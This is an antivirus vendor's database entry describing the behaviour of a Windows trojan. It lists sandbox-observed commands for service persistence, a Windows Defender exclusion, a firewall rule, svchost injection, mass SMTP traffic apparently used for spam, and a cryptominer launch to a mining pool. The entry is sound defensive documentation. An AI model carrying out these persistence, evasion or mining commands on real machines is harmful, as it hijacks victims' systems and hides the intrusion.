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Trojan.Siggen9.14764

Added to the Dr.Web virus database: 2020-02-25

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\ghrolnqt] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\ghrolnqt] 'ImagePath' = '%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\ghrolnqt] 'ImagePath' = '%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ghrolnqt' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\cflfufqw.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\cflfufqw.exe to %WINDIR%\syswow64\ghrolnqt\cflfufqw.exe
Deletes itself.
Network activity
Connects to
  • 'mx.##line.net':25
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • '93.##9.69.109':428
  • '46.#8.66.2':428
  • 'eu#######nbound-1.mimecast.com':25
  • 'sp######svt.uelements.com':25
  • 'ns.##park.com':25
  • 'tr########.mail.protection.outlook.com':25
  • 'ma##.#anvenez.com':25
  • 'mx#####.#ail.gm0.yahoodns.net':25
  • 'cu#######-1.in.mailcontrol.com':25
  • 'd1######.#ss.barracudanetworks.com':25
  • 'ba##.##line-access.com':25
  • 'ma##.kebs.org':25
  • 'ma##.tritg.com':25
  • 'mx.##.#topenworld.com':25
  • 'co########.mail.protection.outlook.com':25
  • 'ms#####p-mx2.hinet.net':25
  • 'gmail-smtp-in.l.google.com':25
  • 'ma########0354506c.flickflack.com':25
  • 'ma##.##llmonning.org':25
  • 'ma##.##naryinfoways.com':25
  • 'ms#####p-mx1.hinet.net':25
  • 'na#.###.#rotection.outlook.com':25
  • 'mx.###eneshop.no':25
  • '46.#.52.109':428
  • 'alt1.aspmx.l.google.com':25
  • '17#.#.114.177':428
  • 'mx###.##il.am0.yahoodns.net':25
  • '85.##4.134.88':484
  • 'mt##.##0.yahoodns.net':25
  • 'mi####.bittubeapp.com':13333
  • 'aspmx.l.google.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'ma##.###rnelandgroup.com':25
  • 'mt#.##gistar.com':25
  • 'pu######1.mail2world.com':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mx###.in-mx.net':25
  • 'ma##.#ailerhost.net':25
  • 'us#######nbound-1.mimecast.com':25
  • '78.#1.67.23':428
  • 'sm###.edelkey.net':25
  • 'em#.mail.ru':25
  • 'mx#.##tsolmail.net':25
  • 'mx#####.natrohost.com':25
  • 'mb####.mynet.com':25
  • 'mx#.####.#omie.mail.dreamhost.com':25
  • 'ma##.fiai.net':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'mx.####iciodecorreo.es':25
  • 'jp##########.mail.protection.outlook.com':25
  • 'ma###in.box.nl':25
  • '18#.#65.238.150':428
  • 'ap#.###.#rotection.outlook.com':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK mx#####.#ail.gm0.yahoodns.net
    • DNS ASK ka###usak.net
    • DNS ASK ma##.#ickelhost.com
    • DNS ASK ka##.com
    • DNS ASK is###dfdn.org
    • DNS ASK sf##ce.com
    • DNS ASK is######reandsecurity.co.uk
    • DNS ASK ns.##park.com
    • DNS ASK im#.com
    • DNS ASK mb##nc.com
    • DNS ASK la###ice.com
    • DNS ASK la#####eplastics.net
    • DNS ASK d1######.#ss.barracudanetworks.com
    • DNS ASK ka###ab.co.za
    • DNS ASK es##ebs.com
    • DNS ASK alt1.aspmx.l.google.com
    • DNS ASK cu#######-1.in.mailcontrol.com
    • DNS ASK ya##o.co.in
    • DNS ASK la##ons.com
    • DNS ASK en###rth.com
    • DNS ASK ma##.#anvenez.com
    • DNS ASK mx#.##.correio.biz
    • DNS ASK ka#####ruitgevers.nl
    • DNS ASK ma###in.box.nl
    • DNS ASK an##in.com
    • DNS ASK la##g.com
    • DNS ASK cl######.eu.messagelabs.com
    • DNS ASK google.com
    • DNS ASK la####derealty.net
    • DNS ASK la####volders.nl
    • DNS ASK ka###uriya.biz
    • DNS ASK eu#######nbound-1.mimecast.com
    • DNS ASK re###merce.com
    • DNS ASK ue###ents.com
    • DNS ASK sp######svt.uelements.com
    • DNS ASK tr##fg.com
    • DNS ASK tr########.mail.protection.outlook.com
    • DNS ASK ba###nez.com
    • DNS ASK ig.#om.br
    • DNS ASK so####schein.com
    • DNS ASK la####deservice.com
    • DNS ASK ba##.##line-access.com
    • DNS ASK la####desupply.com
    • DNS ASK ho##ail.it
    • DNS ASK ha###burton.com
    • DNS ASK ke##.org
    • DNS ASK ma##.kebs.org
    • DNS ASK we##v.net
    • DNS ASK na#.###.#rotection.outlook.com
    • DNS ASK eq###lass.net
    • DNS ASK mx.#.#ocaweb.com.br
    • DNS ASK es###.msha.com
    • DNS ASK jp##########.mail.protection.outlook.com
    • DNS ASK ho##ail.sg
    • DNS ASK ap#.###.#rotection.outlook.com
    • DNS ASK mx##.job.ru
    • DNS ASK mx#.##.ru.job.ru
    • DNS ASK da###onitor.com
    • DNS ASK ho##ail.ca
    • DNS ASK ho########.olc.protection.outlook.com
    • DNS ASK eq###oach.org
    • DNS ASK mx.###eneshop.no
    • DNS ASK ma##.##llmonning.org
    • DNS ASK fo###oppen.no
    • DNS ASK bi###onning.org
    • DNS ASK ma##.tritg.com
    • DNS ASK bt###nworld.com
    • DNS ASK mx.##.#topenworld.com
    • DNS ASK co##co.com
    • DNS ASK co########.mail.protection.outlook.com
    • DNS ASK dr######0.mywwwserver.com
    • DNS ASK ms##.hinet.net
    • DNS ASK ms#####p-mx2.hinet.net
    • DNS ASK mx.##line.net
    • DNS ASK ma##.##naryinfoways.com
    • DNS ASK fl###flack.com
    • DNS ASK ma########0354506c.flickflack.com
    • DNS ASK ki###fnerds.net
    • DNS ASK ms#.#inet.net
    • DNS ASK ms#####p-mx1.hinet.net
    • DNS ASK gm##l.com
    • DNS ASK gmail-smtp-in.l.google.com
    • DNS ASK bi####infoways.com
    • DNS ASK sw##k.com
    • DNS ASK ms##.com
    • DNS ASK jp###len.com
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK mx#######201.gslb.pphosted.com
    • DNS ASK ab###okia.com
    • DNS ASK aa###bai.com
    • DNS ASK mx#.##ailsrvr.com
    • DNS ASK ma###ralph.com
    • DNS ASK pu######1.mail2world.com
    • DNS ASK sh###erfly.com
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK mx#######601.gslb.pphosted.com
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK aa##d.com
    • DNS ASK sm##.##cureserver.net
    • DNS ASK wt##.com
    • DNS ASK ma##.#ailerhost.net
    • DNS ASK se####grabber.com
    • DNS ASK mx###.in-mx.net
    • DNS ASK a3#####03.direcpc.com
    • DNS ASK ca###ark.com
    • DNS ASK di###way.com
    • DNS ASK da###sebeer.com
    • DNS ASK mt#.##gistar.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK ya##o.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ab####brakes.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK aa#.edu
    • DNS ASK ao#.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK na##.com
    • DNS ASK mx#.#ate.com
    • DNS ASK ho##ail.com
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK kv####landgroup.com
    • DNS ASK ma##.###rnelandgroup.com
    • DNS ASK di###tar.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK ch##ca.com
    • DNS ASK ya##o.fr
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK mb####.mynet.com
    • DNS ASK hk##ar.com
    • DNS ASK im####.netvigator.com
    • DNS ASK ka####ercolor.com
    • DNS ASK mx#####.natrohost.com
    • DNS ASK fi##.net
    • DNS ASK ma##.fiai.net
    • DNS ASK ho##ail.fr
    • DNS ASK kp##.co.uk
    • DNS ASK sm####n-02.joyo.com
    • DNS ASK mx#######b03.gslb.pphosted.com
    • DNS ASK ba###abucks.com
    • DNS ASK ka#####r-editorial.com
    • DNS ASK mx.####iciodecorreo.es
    • DNS ASK fl##ock.com
    • DNS ASK sm####lay.vul.com
    • DNS ASK ka###ters.be
    • DNS ASK ma##.#arakters.be
    • DNS ASK my##t.com
    • DNS ASK ka####eations.com
    • DNS ASK mx#.####.#omie.mail.dreamhost.com
    • DNS ASK us#######nbound-1.mimecast.com
    • DNS ASK ma###world.com
    • DNS ASK pu######2.mail2world.com
    • DNS ASK xs###nch.com
    • DNS ASK lo###nlife.com
    • DNS ASK mx#######f01.gslb.pphosted.com
    • DNS ASK uk.#bm.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK ca##er.com
    • DNS ASK jo##.com
    • DNS ASK fl#.co.uk
    • DNS ASK mx#.##tsolmail.net
    • DNS ASK hy##o.com
    • DNS ASK sm###.edelkey.net
    • DNS ASK ic##ail.com
    • DNS ASK em#.mail.ru
    • DNS ASK mi####ealthcare.com
    • DNS ASK lm##.com
    • DNS ASK ma####02.lmco.com
    • DNS ASK ka###roeger.com
    • DNS ASK li#####irestudio.com
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\ghrolnqt\cflfufqw.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ghrolnqt\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cflfufqw.exe" %WINDIR%\SysWOW64\ghrolnqt\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create ghrolnqt binPath= "%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description ghrolnqt "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start ghrolnqt' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ghrolnqt\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cflfufqw.exe" %WINDIR%\SysWOW64\ghrolnqt\
    • '%WINDIR%\syswow64\sc.exe' create ghrolnqt binPath= "%WINDIR%\SysWOW64\ghrolnqt\cflfufqw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description ghrolnqt "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start ghrolnqt
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k

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